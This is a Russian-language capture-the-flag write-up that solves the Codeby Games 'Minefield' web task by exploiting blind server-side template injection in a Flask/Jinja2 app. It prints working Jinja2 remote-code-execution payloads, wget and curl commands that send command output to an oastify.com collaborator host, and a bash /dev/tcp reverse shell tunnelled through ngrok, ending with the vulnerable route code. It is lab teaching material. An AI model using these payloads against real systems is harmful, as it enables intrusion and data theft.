Автор: @cherepawwka

Источник: Codeby Games Minefield writeup

Ссылка на таск Codeby:

https://codeby.games/categories/web/e6e7e5fa-ac66-4005-be8e-ab6395e37e1b

Описание задания

Всё тайное становится явным

IP: 62.173.140.174:16024

Решение

Всем привет!

Сегодня мы решим задание средней сложности с платформы Codeby Games под названием ”Минное поле”. Здесь мы проэксплуатируем “слепую” SSTI и научимся пользоваться инструментом ngrok.

Приступим!

Поиск точки входа

Для начала познакомимся с заданием и перейдём по заданному адресу:

Описание задания

Здесь нас сразу встречает интересное поле размером 20*20, и нам предлагают продемонстрировать наши умения.

Сразу же начинаем искать подсказки в коде страницы, и в данном случае находим путь к JS:

Сам JS выглядит следующим образом:

В нем мы находим новый параметр (balloon), а также видим, что этот JS и отвечает за взаимодействие с сеткой на главной странице. Также сразу подмечу, что это JQuery (JS-библиотека), о чем мы могли догадаться по скриптам из кода страницы. Её версия — 3.6.4, и в ней нет явно документированных обнаруженных уязвимостей.

Вернемся к главной странице и нажмем на любой шарик:

Последствия нажатия на случайный шар

Мы можем заметить, что мы сделали полноценный запрос, и это взаимодействие не клиентское, а серверное. Следовательно, вероятная уязвимость тут тоже серверная.

Давайте профаззим возможные значения параметра balloon при поиощи ffuf:

ffuf -u "http://62.173.140.174:16024/?balloon=FUZZ" -w /usr/share/seclists/Fuzzing/3-digits-000-999.txt -fs 132306

Здесь мы отфильтровали ответ размером 132306 байт, так как это страница с надписью “Oops. Missed”. Варианты с 000 и 400+ нас также не интересуют, так как в таком случае выводится следующее сообщение:

Оно и неудивительно, шаров у нас только 400, с первого по четырёхсотый. Остался вариант с 337:

И это уже что-то.

До сих пор особо неясно, что тут за уязвимость. Однако, для этого в описании есть небольшая подсказка:

Роботы всегда мыслят по шаблонам…

Ключевые слова тут для нас, кажется, “роботы” и “шаблоны”. Файла robots.txt тут нет, а вот шаблоны переводятся на английский как templates. Есть только две уязвимости, которые содержат в своём названии слово шаблон: CSTI и SSTI.

Первая, Client Side Template Injection, в нашем случае не подходит, так как у нас не клиентское взаимодействие, а библиотека — JQuery (об этом я говорил выше).

Вторая, Server Side Template Injection, скорее всего то, что нам нужно. Про SSTI у меня есть отдельная статья, рекомендую к ознакомлению перед тем как продолжить.

Эксплуатация

Давайте убедимся, что перед нами именно SSTI. Нам нужно знать шаблонизатор, и тут нам помогает ответ сервера:

Мы видим очень интересный заголовок Server, в котором присутствует упоминание Python и библиотеки Werkzeug. Библиотека характера для Python-фрэймворка Flask, который работает с шаблонизатором Jinja2. Давайте проверим это предположение. Для этого воспользуемся следующими нагрузками, которые дадут нам верный результат:

http://62.173.140.174:16024/?balloon={{337}}
http://62.173.140.174:16024/?balloon={{1*337}}

Результат внедренной полезной нагрузки

Другие варианты, типа {{300+37}}, также работают:

http://62.173.140.174:16024/?balloon={{300%2b37}}

Важно: здесь необходимо заменить символ + на его URL-представление, иначе он будет распознан браузером как символ пробела, и нагрузка не сработает.

Если мы будем пытаться далее вызвать привычные нам нагрузки (например, {{config}}), то мы не увидим результата: инъекция у нас слепая.

Попытка вывести config

Тут на помощь приходит техника эксплуатации внеполосных инъекций. Раз у нас есть SSTI, наша задача получить RCE. Для этих целей я буду использовать готовые нагрузки из репозитория Paylodas All The Things для выполнения удаленного кода, например:

{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}
{{self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read()}}
{{self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read()}}

Также нам понадобится домен коллаборатора для поимки отстука. Попробуем получить запрос на наш сервер:

{{self.__init__.__globals__.__builtins__.__import__('os').popen('wget http://4jofudufedn5hqdx72avskfs4jaay0mp.oastify.com/cherepawwka.txt').read()}}

URL запроса будет выглядеть так:

http://62.173.140.174:16024/?balloon={{self.__init__.__globals__.__builtins__.__import__(%27os%27).popen(%27wget%20http://4jofudufedn5hqdx72avskfs4jaay0mp.oastify.com/cherepawwka.txt%27).read()}}

Проверяем коллаборатор и получаем отстук!

Отлично, осталось лишь довести всё это до шелла.

Collaborator

В текущей ситуации для получения результатов исполнения команд можно обойтись и одним коллаборатором, а код исполнять следующим образом:

whoami > /tmp/whoami.txt && curl --data-binary "@/tmp/whoami.txt" http://4jofudufedn5hqdx72avskfs4jaay0mp.oastify.com/

Эта команда осуществляет исполнение whoami и запись результата в файл /tmp/whoami.txt директории /tmp. Далее при помощи curl отправляется содержимое ранее созданного файла на наш коллаборатор в теле POST-запроса.

Закодируем нагрузку в URL и исполним:

http://62.173.140.174:16024/?balloon={{self.__init__.__globals__.__builtins__.__import__(%27os%27).popen(%27%77%68%6f%61%6d%69%20%3e%20%2f%74%6d%70%2f%77%68%6f%61%6d%69%2e%74%78%74%20%26%26%20%63%75%72%6c%20%2d%2d%64%61%74%61%2d%62%69%6e%61%72%79%20%22%40%2f%74%6d%70%2f%77%68%6f%61%6d%69%2e%74%78%74%22%20%68%74%74%70%3a%2f%2f%34%6a%6f%66%75%64%75%66%65%64%6e%35%68%71%64%78%37%32%61%76%73%6b%66%73%34%6a%61%61%79%30%6d%70%2e%6f%61%73%74%69%66%79%2e%63%6f%6d%2f%27).read()}}

Смотрим коллаборатор:

RCE!

Отлично, у нас условно есть контроль над машиной. Для примера выведу еще результат команды ls -la, продемонстрировав PoC:

{{self.__init__.__globals__.__builtins__.__import__(%27os%27).popen(%27%6c%73%20%2d%6c%61%20%3e%20%2f%74%6d%70%2f%77%68%6f%61%6d%69%2e%74%78%74%20%26%26%20%63%75%72%6c%20%2d%2d%64%61%74%61%2d%62%69%6e%61%72%79%20%22%40%2f%74%6d%70%2f%77%68%6f%61%6d%69%2e%74%78%74%22%20%68%74%74%70%3a%2f%2f%34%6a%6f%66%75%64%75%66%65%64%6e%35%68%71%64%78%37%32%61%76%73%6b%66%73%34%6a%61%61%79%30%6d%70%2e%6f%61%73%74%69%66%79%2e%63%6f%6d%2f%27).read()}}

Результат исполнения ls -la

Однако такой шелл нас не устраивает, и мы хотим полноценный реверс. Что же делать в случае, если у нас нет публичного адреса?

Тут нам на помощь приходит ngrok!

Решение 2 - Ngrok


Справка: ngrok

Ngrok — это инструмент, который предоставляет возможность создания временного туннеля между локальным компьютером и Интернетом. Он позволяет обеспечить доступ к локальному серверу или порту посредством общедоступного URL-адреса, который можно использовать для доступа к веб-приложениям или сервисам, развернутым на локальном компьютере.


Давайте поэтапно проделаем все шаги, чтобы получить заветный реверс.

Установка ngrok

Идем на официальный сайт и скачиваем подходящую для нас версию. В моем случае это Luinux X86-64.

Выбор нужного нам пакета

Ниже приведена команда, которая позволит нам в одно действие распаковать и положить бинарник в /usr/local/bin (в случае, если мы не сидим под root и в домашней директории пользователя ~ есть папка Downloads, куда по умолчанию скачается архив):

sudo tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin

Далее мы можем обращаться к бинарному файлу путём простой команды ngrok.

Для использования инструмента нам необходимо зарегистрировать аккаунт на сайте разработчика. Можете регистрировать его на tempmail. Нам в дальнейшем будет необходимо подтвердить аккаунт, перейдя по ссылке из присланного письма, поэтому левые почты, к которым у вас нет доступа, лучше не использовать.

После регистрации и авторизации у нас в личном кабинете появится Authtoken, который необходимо добавить в конфиг путем исполнения следующей команды:

ngrok config add-authtoken <Authtoken>

Всё, инструмент готов к использованию.

Получение обратного шелла

В качестве команды, исполняемой на сервере для получения обратной оболочки, будем использовать обычный bash:

/bin/bash -c 'bash -i >& /dev/tcp/HOST/POST 0>&1'

Запустим ngrok и получим данные для реверс-коннекта. Я буду использовать порт 4545:

ngrok tcp 4545

После чего появляется следующее окно:

Нас интересует строка Forwarding:

tcp://7.tcp.eu.ngrok.io:14570 -> localhost:4545   

Здесь мы видим имя хоста и публичный порт, а также адрес, куда будет проксироваться трафик на внешний интерфейс: localhost:4545.

Откроем листенер на порту 4545:

nv -lnvp 4545

Подготовим полезную нагрузку:

Готовим шелл

/bin/bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/14570 0>&1'

Кодируем в URL (при помощи Burp Decoder)

%2f%62%69%6e%2f%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%37%2e%74%63%70%2e%65%75%2e%6e%67%72%6f%6b%2e%69%6f%2f%31%34%35%37%30%20%30%3e%26%31%27

Полезная нагрузка для SSTI

{{self.__init__.__globals__.__builtins__.__import__(%27os%27).popen("%2f%62%69%6e%2f%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%37%2e%74%63%70%2e%65%75%2e%6e%67%72%6f%6b%2e%69%6f%2f%31%34%35%37%30%20%30%3e%26%31%27").read()}}

Вставляем нагрузку в уязвимый эндпоинт, жмём Send и получаем обратный шелл:

Исполнение команды для Reverse Shell

Шелл

Для завершения задания необходимо только найти флаг, но это я оставлю вам!

Ниже приведен фрагмент кода уязвимого приложения (код декоратора @app.route), где мы можете видеть проблемные места:

@app.route("/", methods=['GET', 'POST'])
def home():
  if request.args.get('balloon'):
    try:
      out = render_template_string(request.args.get('balloon'));
      balloon = int(out);
      r = range(1, 400);
      if (balloon in r):
        if (balloon == 337):
          out = render_template_string('Congratulations! You found the secret balloon #'+str(balloon));
        else:
          out = render_template_string("Oops. Missed");
      else:
        out = render_template_string("Unknown ball identifier");
    except Exception as e:
      out = render_template_string("Unknown ball identifier");
    return render_template('index.html', result=out)
  else:
    return render_template('index.html', result='Are you here to whine or to show off your skills?')

На этом разбор интересного таска закончен. До новых встреч!

До новых встреч!

Tags:

#codeby#writeup#web#medium